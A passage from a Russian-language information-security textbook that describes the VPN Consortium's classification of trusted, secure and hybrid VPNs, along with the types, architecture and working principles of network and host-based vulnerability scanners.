4.11. VPN-консорциум о ВЧВС
В начале 2000-х годов был создан VPN-консорциум (Virtual Private Network Con sortium) (http://www.vpnc.org). Это международная торговая ассоциация производи телей ВЧВС-продуктов, целями которой являются:
■ реклама продуктов его членов потенциальным покупателям;
■ решение вопросов совместимости продуктов разных производителей;
■ обсуждение различных вопросов между производителями и пользователями;
■ освещение ВЧВС-технологий и стандартов в открытой печати;
■ предоставление результатов тестирования по совместимости оборудования раз личных производителей.
Консорциум не создает стандарты, но он поддерживает стандарты организации IETF. В июне 2002 г. консорциумом был выпущен первый вариант документа по ВЧВС-технологиям «White paper on VPN technologies)), которые в марте 2006 г. был обновлен.
Согласно этому документу виртуальная частная сеть - это частная сеть передачи данных, использующая открытую телекоммуникационную инфраструктуру и сохра няющая при этом конфиденциальность передаваемых данных посредством примене ния протоколов туннелирования и средств защиты информации.
Выделяются 3 основных вида ВЧВС:
■ доверенная виртуальная частная сеть (trusted VPN);
■ защищенная виртуальная частная сеть (secure VPN);
■ смешанная виртуальная частная сеть (hybrid VPN).
Пока Интернет еще не был так широко распространен, как сейчас, ВЧВС состояли из одной или нескольких выделенных линий, арендованных у сервис-провайдера (СП). Каждая выделенная линия представляла собой канал связи в сети, управляемой пользователем. СП лишь иногда помогал пользователю управлять сетью. Основная идея заключалась в том, чтобы пользователь мог использовать эти выделенные линии так же, как и физические кабели, находящиеся в его локальной сети. Конфиденци альность в таких ВЧВС основывалась на том, что СП гарантировал пользователю, что кроме него никто не будет использовать эти выделенные каналы передачи дан ных. Однако выделенные линии проходят через множество коммутаторов, и на каж дом из них передаваемые данные могут быть скомпрометированы злоумышленни ком. Таким образом, пользователь доверяет СП обеспечение целостности каналов пе редачи данных и использование эффективных с его точки зрения средств защиты от прослушивания трафика. Это и есть доверенная VPN.
Компании используют доверенные VPN, потому что хотят быть уверены, что их данные передаются только по каналам с параметрами, определенными в сервисном соглашении с СП, и эти каналы контролируются одним или несколькими доверен ными СП. Пользователь уверен, что предоставленные ему каналы передачи данных удовлетворяют подписанному соглашению, а люди, которым пользователь не дове ряет, не смогут получить доступ к каналу в любой части VPN или изменить поток данных. Заметим, что пользователю практически не реально знать каналы, по кото рым передаются его данные в доверенной VPN, или даже проверить - имеет ли место доверенная передача данных. Он должен полностью доверять своему СП.
К доверенным VPN относятся виртуальные сети, построенные без использования шифрования на базе специализированных протоколов инкапсуляции, таких, как L2F, L2TP, MPLS, GRE (Generic Routing Encapsulation), а также сети на основе инкапсуля ции IP в протоколы Х.25, FR и ATM. Следует отметить, что VPN на базе протоколов L2F, L2TP и РРТР обычно обозначают VPDN.
По мере становления Интернета как среды передачи корпоративных данных про блемы обеспечения безопасности стали одним из основных вопросов, волнующих и пользователей и СП. Видя, что доверенные VPN не обеспечивают реальной безопас ности передаваемых данных, производители стали создавать протоколы, которые по зволили шифровать трафик при входе в открытую сеть (например, Интернет) и рас шифровать его на выходе, когда он достигнет сети компании. Этот зашифрованный трафик передается по туннелю между двумя сетями: даже если злоумышленник ви дит трафик, он не сможет расшифровать и изменить его незаметно для принимающей стороны. Сети, построенные с использованием криптографических протоколов, по лучили название защищенных VPN.
Основной причиной использования компаниями защищенных VPN является то, что они могут передавать конфиденциальную информацию чрез Интернет без угрозы ее разглашения или изменения. Все, что передается по защищенной VPN, зашифро вано так, что даже при перехвате этой информации ее нельзя будет прочитать даже с использованием самого дорогостоящего современного оборудования.
Доверенная и защищенная VPN не зависят от применяемых технических средств и могут существовать одновременно. Очевидно, что защищенные и доверенные VPN обладают совершенно разными свойствами. Защищенные VPN обеспечивают защиту информации, но не гарантируют доступность канала передачи информации. Дове ренные VPN предоставляют гарантию, например качества обслуживания, но не обес печивают защиты передаваемой информации.
Немного позже появился новый тип доверенных VPN, использующих на этот раз в качестве среды передачи Интернет, а не каналы, арендованные у телефонных ком паний. Эти доверенные VPN все еще не обеспечивали безопасность передаваемых данных, но позволяли пользователям легко создавать сетевые сегменты внутри гло бальных сетей. Кроме того, сегменты, созданные на базе доверенных VPN, могли контролироваться из одной точки, что упрощало их администрирование. Для них СП уже гарантировали качество обслуживания.
Защищенная VPN может быть частью доверенной VPN. Тогда образуется третий тип VPN, который недавно появился на рынке - смешанная VPN. Защищенная часть смешанной VPN должна контролироваться пользователем (путем настройки VPN-оборудования в его части сети) или тем же СП, который предоставляет доверенную часть смешанной VPN. Иногда вся смешанная VPN защищается как защищенная VPN, но чаще защищается лишь часть смешанной VPN.
Случаи применения смешанных VPN в настоящее время еще только определяют ся. Типична ситуация, когда компания уже имеет доверенную VPN, в некоторых час тях которой требуется особо защитить информацию.
Защищенная VPN может администрироваться ее пользователем или СП, предос тавляющим услуги пользователю. Доверенные VPN и доверенные части смешанной VPN всегда администрируются СП.
В первой версии документа «White paper...» был выделен еще один тип ВЧВС, которые администрируются СП - предоставляемые провайдером VPN (provider-provisioned VPN), или аутсорсинговые. Конечно, пользователь может указать, как развернуть ВЧВС, но инсталляция и поддержка предоставляемой провайдером VPN всегда осуществляется кем-то другим, но не пользователем.
Теперь рассмотрим основные требования к выделенным видам ВЧВС и техноло гии их построения.
В документе выделяется одно очень важное общее требование ко всем типам ВЧВС для их корректной работы: администратор ВЧВС должен знать рамки своей ВЧВС. ВЧВС любого типа существенно отличается от обычной сети. Таким образом, администратор ВЧВС должен всегда знать, какой тип трафика должен присутство вать в его сети и какой не должен. [От авторов учебника добавим еще 2 важных на наш взгляд требования: 1) информация о маршрутах через магистральную сеть про вайдера не должна распространяться за ее пределы; 2) сведения о маршрутах в кли ентских КС не должны становиться известными за границами определенных ВЧВС]
Требования к защищенной VPN:
1. Весь трафик защищенной VPN должен быть зашифрован и аутентифициро-ван. Многие протоколы, используемые для создания защищенных VPN, разрешают аутентификацию, но не могут шифровать данные. Хотя такие сети намного безопас нее, чем сети, где не используется аутентификация, они не являются ВЧВС, так как не обеспечивают конфиденциальность передаваемых данных.
2. Способы защиты в ВЧВС должны быть согласованы между всеми участника ми ВЧВС. Защищенная VPN имеет один или несколько туннелей, каждый из которых имеет две конечные точки. Администраторы конечных точек туннеля должны дого вориться о способах защиты туннеля.
3. Никто за пределами ВЧВС не может изменить характеристики ВЧВС. Для атакующего должно быть невозможно изменить характеристики какой-либо части ВЧВС, например изменить протокол шифрования на более слабый или воздейство вать на выбор ключей.
Технологии построения защищенных VPN:
1. Протокол IPSec с поддержкой шифрования как в туннельном, так и в транс портном режимах. Защищенные соединения могут быть установлены вручную или с помощью протокола IKE, при использовании цифровых сертификатов или заранее распределенных ключей. Протокол IPSec описан во многих документах RFC, вклю чая 2401, 2406, 2407, 2408 и 2409 (для IKEvl) и 4301, 4303, 4306, 4307 и 4308 (для IKEv2).
2. Протокол IPSec внутри L2TP (как описано в RFC 3193) широко применяется при создании клиент-серверных VPN с удаленным доступом.
3. Протоколы SSL 3.0 или TLS с поддержкой шифрования. Протокол TLS описан в RFC 2246. По протоколам SSL 3.0 и TLS можно порекомендовать книгу Эрика Рес-корла (Eric Rescorla) «SSL and TLS: Designing and Building Secure Systems» (ISBN 0201615983).
Все названные технологии стандартизированы в IETF (кроме SSL 3.0), и каждая из них реализована в совместимых между собой продуктах различных фирм.
Требования к доверенной VPN:
1. Никто кроме доверенного СП VPN не может влиять на создание или модифи кацию путей в VPN. Особое свойство доверенной VPN - то, что пользователь может доверить СП создание и контроль ВЧВС. Никто кроме доверенных лиц не может из менить что-либо в ВЧВС. Заметим, что некоторые ВЧВС поддерживаются сразу не сколькими СП. В этом случае пользователь доверяет группе СП.
2. Никто кроме доверенного СП VPN не может изменять, удалять или встав лять свои данные в каналах VPN. Доверенная VPN - это не просто набор каналов. Это также и потоки данных, которые циркулируют по каналам. Хотя каналы совме стно используются одновременно несколькими пользователями одного СП, сам ка нал передачи данных принадлежит какой-либо определенной VPN, и никто, кроме СП, не может воздействовать на данные в этом канале. Изменения, внесенные неко торой третьей стороной, могут повлиять на характеристики самого канала, например на объем трафика в канале.
3. Маршрутизация и адресация, используемая в доверенных VPN, должна быть определена до построения ВЧВС. Пользователь должен знать, что ожидают от него и что он может ожидать от сервис-провайдера. Поэтому сервис-провайдер может пла нировать заранее оговоренную поддержку сети.
Технологии построения доверенных VPN:
Современные сервис-провайдеры предлагают различные виды доверенных VPN. Они могут в общем случае быть разделены на доверенные VPN уровня 2 (layer 2 VPN) и дове ренные VPN уровня 3 (layer 3 VPN). Технологии их построения включают:
1) для доверенных VPN уровня 2 - ATM, FR и транспортировка фреймов уровня 2 с помощью MPLS, что описано в draft-ietf-12vpn-vpls-bgp и других соответствующих проектах предложений;
2) для доверенных VPN уровня 3 - MPLS с ограниченным распространением ин формации о маршрутизации в BGP, что описано в RFC 4364 и других соответствую щих проектах предложений.
Ни одна из этих двух технологий не была стандартизирована в IETF, но предпола гается, что обе станут стандартами в будущем. Пока СП не отдают явного предпоч тения какой-либо из них.
Требования к смешанным VPN. Границы адресов защищенной VPN внутри дове ренной VPN должны быть четко определены. В смешанной VPN защищенная VPN может являться подмножеством доверенной VPN, по аналогии, например, с тем, как один отдел в компании имеет собственную защищенную VPN внутри корпоративной доверенной VPN. Для любой пары адресов в смешанной VPN администратор должен точно знать, является ли трафик между этими адресами частью защищенной VPN.
Технологии построения смешанных VPN. Любая технология построения защи щенной VPN базируется на любой технологии построения доверенной VPN.
Необходимо отметить, что смешанная VPN защищена только в тех частях, где есть защищенные VPN. Это означает, что добавление защищенной VPN к доверен ной VPN не увеличивает защищенность всей доверенной VPN, а только той ее части, которая непосредственно защищена. Защищенная VPN наследует такие преимущест ва доверенной VPN, как гарантию качества обслуживания.
Согласно данной классификации можно перечислить фирмы-члены VPNC, произ водящие различные типа ВЧВС-продуктов. В настоящее время на рынке известно очень много разработчиков решений для защищенных VPN из США: АЕР Networks [http://www.aepnetworks.com], Backbone Security.com [http://www.backbonesecu-rity.com], Broadcom [http://www.broadcom.com], Caymas Systems [http://www.cay-mas.com], Check Point Software [http://www.checkpoint.com], Cryptek [http://www.cryp-tek.com], CyberGuard [http://www.cyberguard.com], eSoft [http://www.esoft.com], F5 [http://www.f5.com], Inkra [http://www.inkra.com], Internet Security Systems [http://www.iss.net], Intoto [http://www.intoto.com], Jungo Software Technologies [http://www.jungo.com], Microsoft [http://www.microsoft.com], Mistletoe Technologies [http://www.mistletoetech.com], NETGEAR [http://www.netgear.com], Nokia [http://www.nokia.com], QA Cafe [http://www.qacafe.com], SafeNet [http://www.safenet-inc.com], SonicWALL [http://www.sonicwall.com], TeamFl [http://www.teamfl.com], Viking InterWorks [http://www.vikinginterworks.com] и Wind River [http://www.windri-ver.com], а также Certicom (Канада) [http://www.certicom.com], Stonesoft (Финляндия) [http://www.stonesoft.com] и D-Link (Тайвань) [http://www.dlink.com.tw].
Продукты отдельно для доверенных VPN не производит никто. И есть 5 компа ний, имеющие в своем портфеле разработки для построения как защищенных, так и доверенных VPN: Cisco Systems (США) [http://www.cisco.com/en/US/products/ hw/vpndevc/], Encore Networks (США) [http://www.encorenetworks.com], Ixia (США) [http://www.ixiacom.com], Juniper Networks (США) [http://www.juniper.net] и Nortel (США) [http://www.nortel.com].
144. Сканеры анализа защищенности: технологии сканирования, разновидности систем. Сетевые сканеры защищенности. Системные сканеры защищенности. Сканеры защищенности приложений.
Системы анализа защищенности (САЗ) по выполняемым функциям можно отне сти сразу к двум подсистемам программно-аппаратных средств защиты информа ции - это подсистема регистрации и учета и подсистема контроля целостности (в той или иной мере эти функции более или менее полно реализованы в зависимости от типа системы). Сетевые и системные САЗ сегодня являются наиболее распростра ненными представителями средств данной категории. Именно им и посвящена дан-
5.2. Место и задачи систем анализа защищенности в защите открытых систем
Для оценки уровня реальной защищенности информационных ресурсов в ОИС, а значит, правильности реализации принятой в компании политики ИБ и проверки эффективности применяемых механизмов защиты, используются САЗ, или сканеры безопасности (далее, просто сканеры). Использование данных средств позволяет осуществить предупредительный поиск имеющихся уязвимостей в ПО и АО, на стройках или конфигурациях, протестировать защищенность и устойчивость дина мически меняющейся ОИС к взлому, моделируя действия злоумышленника, а также сформировать рекомендации по устранению выявленных уязвимостей и исправить их. Причем отметим, что задача анализа защищенности будет возникать периодиче ски - при обновлении компонентов ОИС, изменении конфигураций оборудования и ОС и т. п.
САЗ работают на этапе предупреждения (со стороны администратора интранет) или подготовки к вторжению в интранет (со стороны злоумышленника). Обнаружи вая и вовремя устраняя уязвимости, САЗ тем самым устраняют саму возможность реализации атаки, что позволяет снизить затраты (финансовые, человеческие и т. д.) на эксплуатацию средств защиты. Технологии анализа защищенности являются дей ственным методом, позволяющим проанализировать и реализовать политику ИБ прежде, чем осуществится попытка ее нарушения снаружи или изнутри организации.
Можно провести следующую аналогию охранных мероприятий с анализом защи щенности - охранник, периодически обходящий все этажи здания в поисках откры тых дверей, незакрытых окон и других проблем. Также действует и САЗ. Только в качестве здания выступает интранет, а в качестве незакрытых окон и дверей - ее уяз вимости.
САЗ принадлежит к классу сигнатурных систем. Для определения уязвимости должна быть известна определенная последовательность действий и методов (так на зываемая сигнатура), с помощью которых она может быть использована в целях вторжения в систему. Список основных типов уязвимостей, обнаруживаемых САЗ, довольно обширен и зависит от конкретной реализации системы. В основном многие из САЗ умеют находить следующие проблемы в защите ОИС:
■ уязвимость в реальном масштабе времени;
■ уязвимость во внутренней и во внешней сети;
■ уязвимость сервисов, программ и устройств (например, модемных пулов) для удаленного доступа;
■ подверженность сетевым атакам (типа DoS, спуффинга и т. п.) и попытками НСД;
■ наличие незащищенных сетевых соединений и точек доступа в интранет;
■ уязвимость АО из-за неправильных настроек (например, маршрутизаторов);
■ уязвимость на сетевом уровне (в сетевых протоколах и сервисах);
■ уязвимость на уровне ОС (например, в исходном коде самой ОС, в ее конфигура ционных файлах (типа конфигураций «по умолчанию»), в системном реестре для ОС Windows, заданные значения ключей системного реестра Windows, права дос тупа к файлам и каталогам; уязвимость учетных записей; механизмов идентифи кации и аутентификации, средств мониторинга, аудита и т.п);
■ уязвимость на уровне прикладного ПО - серверного и клиентского (например, веб-браузеров и почтовых программ, Web- и FTP-серверов, неправильную на стройку баз данных, редко используемые сервисы, конфигурации «по умолча нию» и т. п.);
■ уязвимость МЭ, прокси-серверов, антивирусных программ и других СЗИ;
■ уязвимость на «подбор пароля»;
■ целостность заданных файлов;
■ неустановленные или неизвестные обновления (patch, hotfix или Service Pack);
■ уязвимость сравнением эталонных значений с текущими;
■ новые уязвимости вскоре после их обнаружения.
Сканирование необходимо для подтверждения состояния безопасности и реализа ции в ОИС механизма превентивной (предупреждающей) защиты, но недостаточно для качественного аудита, поскольку сканеры, как правило, ищут заранее известные уязвимости, которые внесены в их базы знаний (сигнатур уязвимостей). В результате остается неразрешенный вопрос: если при сканировании не выявлены уязвимости, то их нет на самом деле или их не было на момент проверки в базе сканера? Кроме того, при сканировании всегда остается вероятность нежелательного влияния на элементы ОИС и, например, существенное увеличение трафика в исследуемом сегменте или даже выведения из строя сканируемого узла или отдельной службы ОИС. И, что не маловажно, сканером может воспользоваться не только администратор ИБ, но и зло умышленник, пытающийся выявить уязвимые участки ОИС для последующего входа или взлома системы.
Итак, определим САЗ как систему поиска уязвимостей проектирования, реализа ции и эксплуатации, выполняющую предупредительный поиск уязвимых мест в ОИС путем анализа настроек ее аппаратного и программного обеспечения (пассивный по иск) и имитацией сетевых атак (активный поиск), а также проверку функционирова ния ОИС при запуске сканеров с различными учетными записями, соответствующи ми привилегиям разных пользователей.
САЗ работают, реализуя одну из двух возможных типов проверок (check) [63]:
■ тест (test) - алгоритм определения присутствия уязвимостей в тестируемой системе путем имитации атаки, использующей данную уязвимость; при этом процесс тести рования представляет собой активный анализ в виде серии атак на ОИС; по статисти ке доля тестов составляет около 10 % анализа систем; результатом работы теста явля ется одно из сообщений - «система уязвима» или «система неуязвима»;
■ заключение (inference), или логический вывод - алгоритм определения наличия уязвимостей в тестируемой системе по характерным косвенным признакам (номе ру версии службы, присутствию на узле какого-либо файла и т. п.) без имитации атаки, использующей данную уязвимость; это пассивный анализ, осуществляемый гораздо чаще, чем активный (в среднем в 90 % случаев).
Сама процедура сканирования заключается в проведении набора проверок. Для этого в зависимости от критичности сканируемых подсистем ОИС обычно разраба тывается политика сканирования.
САЗ выполняют серию проверок по обнаружению уязвимостей, аналогичных тем, которые применяют злоумышленники при подготовке и осуществлении атак на ОИС. Поиск уязвимостей основывается на использовании базы данных, которая содержит признаки известных уязвимостей ПО и АО и может обновляться путем добавления новых описаний уязвимостей. Сканирование начинается с получения предваритель ной информации о системе, например о разрешенных протоколах и открытых портах, о версиях ОС и т. п., и может заканчиваться попытками имитации проникновения, используя широко известные атаки, например спуффинг или подбор пароля. САЗ по зволяют быстро определить все узлы интранета, доступные в момент проведения сканирования, выявить все используемые в ней сервисы и протоколы, их настройки и возможности для несанкционированных воздействий (как изнутри сети, так и снару жи). Функционировать такие системы могут на сетевом уровне, уровне ОС или на уровне приложения.
Общую схему работы САЗ можно представить в виде последовательности сле дующих шагов:
■ сканирование объекта исследования (определение топологии, поиск незащищен ных или неправильных сетевых соединений, анализ настроек ОС, ПО, АО, СЗИ и т. п.) в соответствии с БД уязвимостей;
■ получение списка уязвимостей и обобщение полученных сведений в виде отчета;
■ выдача рекомендаций по устранению обнаруженных уязвимостей (если САЗ в своем составе имеет некую экспертную подсистему);
■ в некоторых САЗ (с так называемыми адаптивными компонентами) устранение уязвимостей в автоматическом/полуавтоматическом режиме (с привлечением эксперта по ИБ/администратора САЗ).
5.3. Классификации систем анализа защищенности
Рассмотрим и обобщим некоторые классификации САЗ, представленные в раз личных источниках [63-66].
По причинам возникновения уязвимостей САЗ подразделяются на 3 класса средств поиска уязвимостей:
■ проектирования, использующие анализ алгоритма ПО и АО (типа Prototype Verification System) или проекта ОИС (типа CRAMM);
■ реализации, использующие анализ исходного текста (его синтаксиса, семантики, конструкций и т. п.) (типа SLINT для C/C++) или исполняемого файла (его атри бутов, процесса выполнения - операции с памятью, работа с указателями, вызов функций) (типа BoundsCheckerPro и HeapAgent), внешними воздействиями, когда на вход подаются разные граничные и маловероятные значения переменных, а также дизассемблированием и анализом полученного кода);
■ эксплуатации, включая слабости системной политики, ошибки настройки ПО и АО и пр.
По назначению САЗ бывают двух классов:
■ общего назначения;
■ специализированные (для СУБД, веб-приложений, корпоративных систем и т. п.).
САЗ по отношению к объекту сканирования функционируют в двух основных режимах:
■ локально (host-based), при этом устанавливается на сканируемом узле (рабочей станции, сервере или т. п.), работает как агент от имени учетной записи с макси мальными привилегиями, выполняет анализ изнутри; достоверность его работы близка к 100 % за счет многочисленных проверок по косвенным признакам; такие САЗ называют системными (СиСАЗ);
■ дистанционно, или удаленно (network-based), при этом устанавливается на выде ленный для этой цели узел, может параллельно сканировать несколько узлов, осуществляет сбор информации о сети; но достоверность результатов работы та кой САЗ существенно ниже, чем локальной, и подключение по сети сдерживает условия сканирования (нужно учитывать, что при работе САЗ нагрузка на сеть может существенно возрастать); такие САЗ называют сетевыми (ССАЗ).
Сканер может работать на одном из трех уровней в информационной структу ре ОИС:
■ на уровне сети (network-based) как средство удаленного поиска уязвимостей сете вого взаимодействия, выполняя анализ защищенности сетевых сервисов и прото колов (типа Nessus или Internet Scanner) (это ССАЗ);
■ на уровне хоста (host-based) как средство анализа защищенности:
■ ОС, при этом в первую очередь локально анализируются параметры, харак терные для всего семейства ОС, потом те, которые влияют на безопасность конкретной ОС; также проверяется целостность ПО и установок системы; сама САЗ распределенная - на узле агент, управление с консоли (типа COPS или ASET);
■ СУБД, при этом локально или удаленно анализируются параметры, влияющие на безопасность конкретной СУБД (типа Database Scanner) (это СиСАЗ);
■ на уровне приложений (application-based) как средство удаленного или локального анализа защищенности широко распространенных прикладных систем, например веб-серверов, веб-браузеров, почтовых приложений, баз данных, систем элек тронного документооборота, различных систем управления и т. д.; при этом про веряются целостность ПО, права доступа, подсистемы аутентификации и пр.
По архитектуре САЗ различают на автономные, или локальные (типа LANguard и XSpider), и распределенные (типа Internet Scanner и Nessus).
Внутренняя структура автономной САЗ представлена на рис. 104. Так может вы глядеть СиСАЗ, проводящая анализ на уровне отдельного хоста.
Распределенная САЗ может быть представлена в двух вариантах:
1) устанавливаемые на защищаемых узлах агенты и консоли, контролирующие работу агентов и осуществляющие сбор данных от них (рис. 105, а) (характерно для некоторых СиСАЗ);
2) серверная часть - агент/нескольких агентов и клиентская часть - система цен трализованного управления работой сканера/сканеров с консоли/консолей (рис. 105, б) (характерно для многих ССАЗ).
Особенно важен такой подход при анализе больших, распределенных ОИС и при необходимости получения результатов с различных точек зрения (из разных областей сети) для их последующего сравнения. Также распределенная архитектура позволяет сократить трафик, который может передаваться по сети, поскольку агенты работают каждый в своем сегменте.
Собственно САЗ в распределенном варианте является серверная часть. Клиент и сервер САЗ взаимодействуют друг с другом по сети. На транспортном уровне для этого могут использоваться протоколы TCP или UDP, на прикладном - свой собст венный или стандартный, часто с функциями защиты (типа протоколов SSL/TLS).
Внутренняя структура распределенной САЗ может быть двухуровневой (отдельно выделяются уровень агента и уровень управления) и трехуровневой (уровень агента, уровень управления и уровень хранения и накопления данных) (рис. 106). Такие реа лизации присущи распределенным ССАЗ.
5.4. Сетевые сканеры
Сетевые САЗ получили наибольшее распространение, в первую очередь потому, что они универсальны. ССАЗ, функционирующие на уровне сети (network-based), яв ляются средствами удаленного поиска уязвимостей сетевого взаимодействия. С этой целью они реализуют следующие действия:
■ идентификация информационных потоков;
■ оценка фильтрации трафика;
■ оценка возможностей удаленного сбора информации об ОИС;
■ прослушивание трафика и перехват сессий;
■ выявление открытых (незащищенных) протоколов;
■ оценка конфигураций защищенных протоколов;
■ анализ защищенности сетевых сервисов и т. п.
Изученность и повсеместное использование таких сетевых протоколов, как IP, TCP, HTTP, FTP, SMTP и других, значительно влияют на защищенность ОИС, рабо тающей в сетевом окружении. Проверка их реализации в конкретной среде с помо щью ССАЗ позволяет с высокой степенью эффективности оценить защищенность этой среды.
Также ССАЗ анализируют уязвимости системного и прикладного ПО, отвечаю щего за работу с сетью, например Web-, FTP- и почтовые серверы, МЭ, браузеры и т. п. Кроме анализа ПО, некоторые предлагаемые на рынке средства проводят скани рование и аппаратных средств - как правило, это коммутирующее и маршрутизи рующее оборудование.
Основное назначение ССАЗ состоит в ответе на вопрос: «Что может нарушитель сделать с интранетом удаленно, получив доступ к нему по сети?».
ССАЗ решают 3 основные задачи:
■ инвентаризация ресурсов сети (узлов, сетевых служб, ОС, приложений) и парал лельно обнаружение неизвестных (несанкционированно подключенных) уст ройств (Inventory Scan) (под инвентразицазией здесь понимается фиксация ин формации о компонентах интранета, основанная на определении различий между текущим состоянием контролируемого объекта и предварительно зафиксирован ным, ожидаемым состоянием; результатом данной процедуры является так назы ваемая карта сети);
■ тестирование сети на устойчивость к взлому (как внутри, так и снаружи);
■ аудит безопасности сети или отдельных ее областей на соответствие заданным требованиям.
Отметим, что ССАЗ выполняют проверки по сети дистанционно, могут использо вать разные методы выявления одной и той же уязвимости и различные учетные за писи для подключения к сканируемым объектам: при аудите - это максимальные права (registry check в Windows), при имитации атаки (exploit check) лучше не давать учетную запись вообще.
Основные достоинства ССАЗ таковы:
■ они находит уязвимости в защите на различных платформах и для различных систем;
■ поскольку анализ уязвимостей на сетевом уровне не зависит от платформы и типа системы, его можно быстро настроить и использовать;
■ поскольку он не предполагает доступа на системном уровне, его легко использо вать с организационной точки зрения.
В качестве недостатков ССАЗ можно выделить следующие:
■ поскольку такой анализ защищенности не учитывает уязвимости, характерные для платформы, он часто менее точен, чем анализ на системном уровне;
■ этот анализ может оказывать влияние на производительность сети и ее характери стики.
5.4.2. Принципы работы сетевых сканеров
Существует 2 основных механизма, при помощи которых сетевой сканер проверяет наличие в сети уязвимости - сканирование (scan) и зондирование (probe) [63,67].
Сканирование, как обычно первый и важный шаг при анализе защищенности се ти, представляет собой наиболее быстрый и простой для реализации метод проверки присутствия уязвимости на сканируемом объекте. Это пассивный анализ (passive fingerpinting), с помощью которого сканер пытается определить наличие уязвимости без фактического подтверждения ее наличия, т. е. по косвенным признакам. В терми нах компании ISS данный метод получил название «логический вывод» (inference). Для этого, согласно исследованиям компании Cisco, осуществляется идентификация открытых портов, найденных на каждом сетевом устройстве, и собираются и анали зируются баннеры (заголовки ответов на запросы сканеров или ответные приветст вия) доступных сервисов (banner check), найденные при сканировании каждого пор та. Каждый полученный заголовок сравнивается с базой данных определения сетевых устройств, ОС и потенциальных уязвимостей. На основе проведенного сравнения де лается вывод о наличии или отсутствии уязвимости. Сканирование не приводит к на рушению функционирования сервисов или узлов сети - для этого используется ин формация, «добровольно» рассылаемая исследуемой системой без подключения к ней (это особо актуально для беспроводных сетей).
Сканирование используется в трех основных целях:
■ для обнаружения неизвестных устройств в сети;
■ для инвентаризации ресурсов сети (узлов, ОС, служб) без влияния на производи тельность;
■ для сбора информации о сети (топология, протоколы, средства защиты и т. п.), ко торая будет использована далее при применении методологии Penetration testing (тест на проникновение).
У данного механизма есть и ряд очевидных недостатков. Во-первых, эффектив ность проверок заголовков недостаточно высока - администратор для ряда служб может при желании их изменить. Во-вторых, часто версия, указываемая в заголовке ответа на запрос, не всегда говорит о наличии неустраненной уязвимости ПО. И, на конец, устранение уязвимости в одной версии ПО еще не означает, что в следующих версиях эта уязвимость отсутствует.
Зондирование (active probing check) - это активный анализ (active fingerprinting), который позволяет убедиться, присутствует или нет на анализируемом объекте уяз вимость. В терминах компании ISS данный метод получил название «подтвержде ние» (verification). Согласно компании Cisco этот процесс использует информацию, полученную в процессе сканирования («логического вывода»), для детального анали за каждого сетевого устройства. Этот метод также относится к типу «сканирование», однако он основан не на проверке версий ПО в заголовках, а на сравнении «отпечат ка» (fingerprint) фрагмента ПО со слепком известной уязвимости (что аналогично ра боте антивирусов, которые сравнивают фрагменты сканируемого ПО с сигнатурами вирусов из БД). Для этого на систему осуществляются ключевые воздействия (exploit check - имитация атак), использующие проверяемую уязвимость, с явным подключе нием к системе и анализируются отклики. У данного процесса, под которым понима ется последовательность действий, направленных на подтверждение наличия и ис пользование обнаруженных уязвимостей системы ИБ, есть еще 2 названия: «этиче ское хакерство» (ethical hacking) и «тест на проникновение» (penetration testing). Если в результате работы эксплойта получается командная строка, то это означает, что уязвимость в системе присутствует. Цель теста - это поиск способов получения дос тупа к системе с помощью инструментов и приемов, используемых злоумышленни ком. Другими словами, тест на проникновение призван оценить, насколько легко субъекту, выполняющему тест, получить НСД к информационным и сетевым ресур сам компании.
Зондирование рекомендуется проводить для особо критичных систем, с предвари тельным уведомлением IT-персонала или без предупреждения. Причем тестирование лучше всего осуществлять снаружи и изнутри (с определенным уровнем привилегий и оценкой возможности повышения этих привилегий).
5.5. Системные сканеры
Системные (host-based), или локальные, САЗ устанавливаются на сканируемом узле и работают локально от имени учетной записи с максимальными привилегиями (root, SYSTEM). СиСАЗ осуществляют проверки настроек и конфигурации систем на наличие ошибок, которые могут повлиять на защиту отдельных узлов и, как следст вие, ОИС в целом. По своим функциям они дополняют ССАЗ и решают следующие важные задачи при общем анализе защищенности исследуемой ОИС [63]:
■ автоматизированная проверка соответствия узла задаваемым наборам требований (как в части требований по составу технических средств, так и требованиям по безопасности информации в соответствии с формализованным профилем требо ваний);
■ проверка защищенности наиболее важных серверов (например, почтового серве ра, веб-сервера, сервера удаленного доступа, сервера СУБД и т. п.);
■ проверка конфигурации сетевых сервисов (HTTP, TELNET, FTP, NFS, NNTP, RSH, sendmail, X server и т. п.);
■ проверка собственной защиты средств обеспечения ИБ (например, МЭ, для кото рых выявляются уязвимости платформы и конфигурации);
■ обнаружение и устранение уязвимостей в ОС (включая установку patches и service packs и анализ возможных уязвимостей в зависимости от версии);
■ поиск работающих на узле устройств (типа модемов);
■ обнаружение установленных приложений и программных закладок;
■ контроль режима работы сетевого адаптера;
■ мониторинг различных процессов и действий пользователей на узлах за счет ана лиза журналов регистрации ОС и приложений (для поиска следов нарушителей);
■ проверка прав доступа к файлам и прав наследования, а также доверенных отно шений;
■ оценка стойкости паролей или их отсутствие;
■ контроль целостности ПО и файловой системы;
■ контроль наличия и работы антивирусных средств;
■ контроль настройки фильтрующих систем защиты - МЭ, маршрутизаторов и т. п.
При анализе конфигурации средств защиты внешнего периметра интранета и управления межсетевыми взаимодействиями особое внимание сканеры обращают на следующие аспекты:
■ настройка правил разграничения доступа (правил фильтрации сетевых пакетов) на МЭ и маршрутизаторах;
■ используемые схемы и настройка параметров аутентификации;
■ настройка параметров системы регистрации событий;
■ использование механизмов, обеспечивающих сокрытие топологии защищаемой сети, включающих в себя трансляцию сетевых адресов (NAT), маскарадинг и ис пользование системы split DNS;
■ настройка механизмов оповещения об атаках и реагирования;
■ наличие и работоспособность средств контроля целостности;
■ версии используемого ПО и наличие установленных обновлений для ПО.
Современные СиСАЗ выполняют порядка 200 различных проверок на узлах.
Системный сканер для веб-сервера осуществяет, например, следующие действия: проводит анализ ОС, под управлением которой работает веб-сервер, самого прило жения, реализующего функции веб-сервера, CGI-скриптов и ряд других проверок. В процессе тестирования оценивается безопасность файловой системы, поиски сце нариев CGI с известными уязвимостями и анализ пользовательских CGI-скриптов и т. п.
Анализ на системном уровне использует только пассивные (по косвенным при знакам), не оказывающие заметного влияния на работу методы идентификации уяз вимостей, так как они, как правило, устанавливаются на важном узле и должны ока зывать на него минимальное влияние.
Входную информацию для анализа СиСАЗ берут из следующих источников:
■ файловая система узла и изменения в ней (анализируются следующие файлы: па ролей, настройки отношений доверия, запуска отложенных заданий, стартовые системные, определения атрибутов монтирования файловых систем, настройки системой печати и т. п.);
" журналы регистрации ОС и приложений;
■ конфигурация и параметры, влияющие на безопасность (например, в Windows -это реестр (registry) и информация о пользователях, работающих на узле службах, установленных приложениях и т. п.).
При этом поиск уязвимостей осуществляется путем:
